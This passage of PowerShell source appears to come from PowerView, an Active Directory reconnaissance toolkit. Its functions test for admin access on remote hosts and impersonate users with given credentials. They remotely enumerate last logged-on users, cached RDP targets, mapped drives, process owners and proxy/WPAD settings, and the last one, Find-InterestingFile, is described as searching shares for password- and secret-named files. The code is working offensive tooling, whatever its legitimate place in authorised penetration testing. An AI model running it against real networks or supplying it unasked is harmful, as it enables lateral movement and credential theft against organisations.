$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Test-AdminAccess -ComputerName sqlserver -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.AdminAccess
|
|
|
|
A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether
|
|
the current user has local admin rights, along with the ComputerName added.
|
|
|
|
.LINK
|
|
|
|
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
|
|
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
|
|
#>
|
|
|
|
[OutputType('PowerView.AdminAccess')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
|
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
|
$Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
|
|
|
$IsAdmin = New-Object PSObject
|
|
$IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
|
|
|
|
# if we get a non-zero handle back, everything was successful
|
|
if ($Handle -ne 0) {
|
|
$Null = $Advapi32::CloseServiceHandle($Handle)
|
|
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
|
|
}
|
|
else {
|
|
Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
|
|
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
|
|
}
|
|
$IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
|
|
$IsAdmin
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-NetComputerSiteName {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the AD site where the local (or a remote) machine resides.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
|
|
|
|
.DESCRIPTION
|
|
|
|
This function will use the DsGetSiteName Win32API call to look up the
|
|
name of the site where a specified computer resides.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to check the site for (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system using Invoke-UserImpersonation.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
|
|
|
|
Returns the site for WINDOWS1.testlab.local.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Get-NetComputerSiteName
|
|
|
|
Returns the sites for every machine in AD.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ComputerSite
|
|
|
|
A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.
|
|
#>
|
|
|
|
[OutputType('PowerView.ComputerSite')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
BEGIN {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$LogonToken = Invoke-UserImpersonation -Credential $Credential
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# if we get an IP address, try to resolve the IP to a hostname
|
|
if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
|
|
$IPAddress = $Computer
|
|
$Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
|
|
}
|
|
else {
|
|
$IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
|
|
}
|
|
|
|
$PtrInfo = [IntPtr]::Zero
|
|
|
|
$Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
|
|
|
|
$ComputerSite = New-Object PSObject
|
|
$ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
|
|
|
|
if ($Result -eq 0) {
|
|
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
|
|
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
|
|
}
|
|
else {
|
|
Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
|
|
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
|
|
}
|
|
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
|
|
|
|
# free up the result buffer
|
|
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
|
|
|
|
$ComputerSite
|
|
}
|
|
}
|
|
|
|
END {
|
|
if ($LogonToken) {
|
|
Invoke-RevertToSelf -TokenHandle $LogonToken
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-WMIRegProxy {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the proxy server and WPAD conents for the current user.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Enumerates the proxy server and WPAD specification for the current user
|
|
on the local machine (default), or a machine specified with -ComputerName.
|
|
It does this by enumerating settings from
|
|
HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the system to enumerate proxy settings on. Defaults to the local host.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connecting to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegProxy
|
|
|
|
ComputerName ProxyServer AutoConfigURL Wpad
|
|
------------ ----------- ------------- ----
|
|
WINDOWS1 http://primary.test...
|
|
|
|
.EXAMPLE
|
|
|
|
$Cred = Get-Credential "TESTLAB\administrator"
|
|
Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
|
|
|
|
ComputerName ProxyServer AutoConfigURL Wpad
|
|
------------ ----------- ------------- ----
|
|
windows1.testlab.local primary.testlab.local
|
|
|
|
.INPUTS
|
|
|
|
String
|
|
|
|
Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.ProxySettings
|
|
|
|
Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
|
|
#>
|
|
|
|
[OutputType('PowerView.ProxySettings')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = $Env:COMPUTERNAME,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
try {
|
|
$WmiArguments = @{
|
|
'List' = $True
|
|
'Class' = 'StdRegProv'
|
|
'Namespace' = 'root\default'
|
|
'Computername' = $Computer
|
|
'ErrorAction' = 'Stop'
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
|
|
|
|
$RegProvider = Get-WmiObject @WmiArguments
|
|
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
|
|
|
|
# HKEY_CURRENT_USER
|
|
$HKCU = 2147483649
|
|
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
|
|
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
|
|
|
|
$Wpad = ''
|
|
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
|
|
try {
|
|
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"
|
|
}
|
|
}
|
|
|
|
if ($ProxyServer -or $AutoConfigUrl) {
|
|
$Out = New-Object PSObject
|
|
$Out | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
|
|
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
|
|
$Out | Add-Member Noteproperty 'Wpad' $Wpad
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
|
|
$Out
|
|
}
|
|
else {
|
|
Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName"
|
|
}
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-WMIRegLastLoggedOn {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the last user who logged onto the local (or a remote) machine.
|
|
|
|
Note: This function requires administrative rights on the machine you're enumerating.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
This function uses remote registry to enumerate the LastLoggedOnUser registry key
|
|
for the local (or remote) machine.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for remote registry values (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connecting to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegLastLoggedOn
|
|
|
|
Returns the last user logged onto the local machine.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
|
|
|
|
Returns the last user logged onto WINDOWS1
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Get-WMIRegLastLoggedOn
|
|
|
|
Returns the last user logged onto all machines in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.LastLoggedOnUser
|
|
|
|
A PSCustomObject containing the ComputerName and last loggedon user.
|
|
#>
|
|
|
|
[OutputType('PowerView.LastLoggedOnUser')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# HKEY_LOCAL_MACHINE
|
|
$HKLM = 2147483650
|
|
|
|
$WmiArguments = @{
|
|
'List' = $True
|
|
'Class' = 'StdRegProv'
|
|
'Namespace' = 'root\default'
|
|
'Computername' = $Computer
|
|
'ErrorAction' = 'SilentlyContinue'
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
|
|
|
|
# try to open up the remote registry key to grab the last logged on user
|
|
try {
|
|
$Reg = Get-WmiObject @WmiArguments
|
|
|
|
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
|
|
$Value = 'LastLoggedOnUser'
|
|
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
|
|
|
|
$LastLoggedOn = New-Object PSObject
|
|
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
|
|
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
|
|
$LastLoggedOn
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled."
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-WMIRegCachedRDPConnection {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns information about RDP connections outgoing from the local (or remote) machine.
|
|
|
|
Note: This function requires administrative rights on the machine you're enumerating.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses remote registry functionality to query all entries for the
|
|
"Windows Remote Desktop Connection Client" on a machine, separated by
|
|
user and target server.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connecting to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegCachedRDPConnection
|
|
|
|
Returns the RDP connection client information for the local machine.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
|
|
|
|
Returns the RDP connection client information for the WINDOWS2.testlab.local machine
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Get-WMIRegCachedRDPConnection
|
|
|
|
Returns cached RDP information for all machines in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.CachedRDPConnection
|
|
|
|
A PSCustomObject containing the ComputerName and cached RDP information.
|
|
#>
|
|
|
|
[OutputType('PowerView.CachedRDPConnection')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# HKEY_USERS
|
|
$HKU = 2147483651
|
|
|
|
$WmiArguments = @{
|
|
'List' = $True
|
|
'Class' = 'StdRegProv'
|
|
'Namespace' = 'root\default'
|
|
'Computername' = $Computer
|
|
'ErrorAction' = 'Stop'
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
|
|
|
|
try {
|
|
$Reg = Get-WmiObject @WmiArguments
|
|
|
|
# extract out the SIDs of domain users in this hive
|
|
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
|
|
|
|
ForEach ($UserSID in $UserSIDs) {
|
|
try {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
|
|
}
|
|
else {
|
|
$UserName = ConvertFrom-SID -ObjectSid $UserSID
|
|
}
|
|
|
|
# pull out all the cached RDP connections
|
|
$ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
|
|
|
|
ForEach ($Connection in $ConnectionKeys) {
|
|
# make sure this key is a cached connection
|
|
if ($Connection -match 'MRU.*') {
|
|
$TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
|
|
|
|
$FoundConnection = New-Object PSObject
|
|
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
|
|
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
|
|
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
|
|
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
|
|
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
|
|
$FoundConnection
|
|
}
|
|
}
|
|
|
|
# pull out all the cached server info with username hints
|
|
$ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
|
|
|
|
ForEach ($Server in $ServerKeys) {
|
|
|
|
$UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
|
|
|
|
$FoundConnection = New-Object PSObject
|
|
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
|
|
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
|
|
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
|
|
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
|
|
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
|
|
$FoundConnection
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-WMIRegMountedDrive {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns information about saved network mounted drives for the local (or remote) machine.
|
|
|
|
Note: This function requires administrative rights on the machine you're enumerating.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: ConvertFrom-SID
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses remote registry functionality to enumerate recently mounted network drives.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connecting to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegMountedDrive
|
|
|
|
Returns the saved network mounted drives for the local machine.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
|
|
|
|
Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainComputer | Get-WMIRegMountedDrive
|
|
|
|
Returns the saved network mounted drives for all machines in the domain.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.RegMountedDrive
|
|
|
|
A PSCustomObject containing the ComputerName and mounted drive information.
|
|
#>
|
|
|
|
[OutputType('PowerView.RegMountedDrive')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
# HKEY_USERS
|
|
$HKU = 2147483651
|
|
|
|
$WmiArguments = @{
|
|
'List' = $True
|
|
'Class' = 'StdRegProv'
|
|
'Namespace' = 'root\default'
|
|
'Computername' = $Computer
|
|
'ErrorAction' = 'Stop'
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
|
|
|
|
try {
|
|
$Reg = Get-WmiObject @WmiArguments
|
|
|
|
# extract out the SIDs of domain users in this hive
|
|
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
|
|
|
|
ForEach ($UserSID in $UserSIDs) {
|
|
try {
|
|
if ($PSBoundParameters['Credential']) {
|
|
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
|
|
}
|
|
else {
|
|
$UserName = ConvertFrom-SID -ObjectSid $UserSID
|
|
}
|
|
|
|
$DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
|
|
|
|
ForEach ($DriveLetter in $DriveLetters) {
|
|
$ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
|
|
$RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
|
|
$DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
|
|
if (-not $UserName) { $UserName = '' }
|
|
|
|
if ($RemotePath -and ($RemotePath -ne '')) {
|
|
$MountedDrive = New-Object PSObject
|
|
$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$MountedDrive | Add-Member Noteproperty 'UserName' $UserName
|
|
$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
|
|
$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
|
|
$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
|
|
$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
|
|
$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
|
|
$MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
|
|
$MountedDrive
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-WMIRegMountedDrive] Error: $_"
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-WMIProcess {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns a list of processes and their owners on the local or remote machine.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
|
|
including the owners of the particular process.
|
|
|
|
.PARAMETER ComputerName
|
|
|
|
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
|
|
Defaults to 'localhost'.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the remote system.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-WMIProcess -ComputerName WINDOWS1
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.UserProcess
|
|
|
|
A PSCustomObject containing the remote process information.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.UserProcess')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Alias('HostName', 'dnshostname', 'name')]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$ComputerName = 'localhost',
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
ForEach ($Computer in $ComputerName) {
|
|
try {
|
|
$WmiArguments = @{
|
|
'ComputerName' = $ComputerName
|
|
'Class' = 'Win32_process'
|
|
}
|
|
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
|
|
Get-WMIobject @WmiArguments | ForEach-Object {
|
|
$Owner = $_.getowner();
|
|
$Process = New-Object PSObject
|
|
$Process | Add-Member Noteproperty 'ComputerName' $Computer
|
|
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
|
|
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
|
|
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain
|
|
$Process | Add-Member Noteproperty 'User' $Owner.User
|
|
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
|
|
$Process
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Find-InterestingFile {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Searches for files on the given path that match a series of specified criteria.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
|
|
|
|
.DESCRIPTION
|
|
|
|
This function recursively searches a given UNC path for files with
|
|
specific keywords in the name (default of pass, sensitive, secret, admin,
|
|
login and unattend*.xml). By default, hidden files/folders are included
|
|
in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
|
|
is used to temporarily map the remote share.
|
|
|
|
.PARAMETER Path
|
|
|
|
UNC/local path to recursively search.
|
|
|
|
.PARAMETER Include
|
|
|
|
Only return files/folders that match the specified array of strings,
|
|
i.e. @(*.doc*, *.xls*, *.ppt*)
|
|
|
|
.PARAMETER LastAccessTime
|
|
|
|
Only return files with a LastAccessTime greater than this date value.
|
|
|
|
.PARAMETER LastWriteTime
|
|
|
|
Only return files with a LastWriteTime greater than this date value.
|
|
|
|
.PARAMETER CreationTime
|
|
|
|
Only return files with a CreationTime greater than this date value.
|
|
|
|
.PARAMETER OfficeDocs
|
|
|
|
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
|
|
|
|
.PARAMETER FreshEXEs
|
|
|
|
Switch. Find .EXEs accessed within the last 7 days.
|
|
|
|
.PARAMETER ExcludeFolders
|
|
|
|
Switch. Exclude folders from the search results.
|
|
|
|
.PARAMETER ExcludeHidden
|
|
|
|
Switch. Exclude hidden files and folders from the search results.
|
|
|
|
.PARAMETER CheckWriteAccess
|
|
|
|
Switch. Only returns files the current user has write access to.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
to connect to remote systems for file enumeration.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-InterestingFile -Path "C:\Backup\"
|
|
|
|
Returns any files on the local path C:\Backup\ that have the default
|
|
search term set in the title.
|
|
|
|
.EXAMPLE
|
|
|
|
Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
|
|
|
|
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
|
|
search term set in the title and were accessed within the last week.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
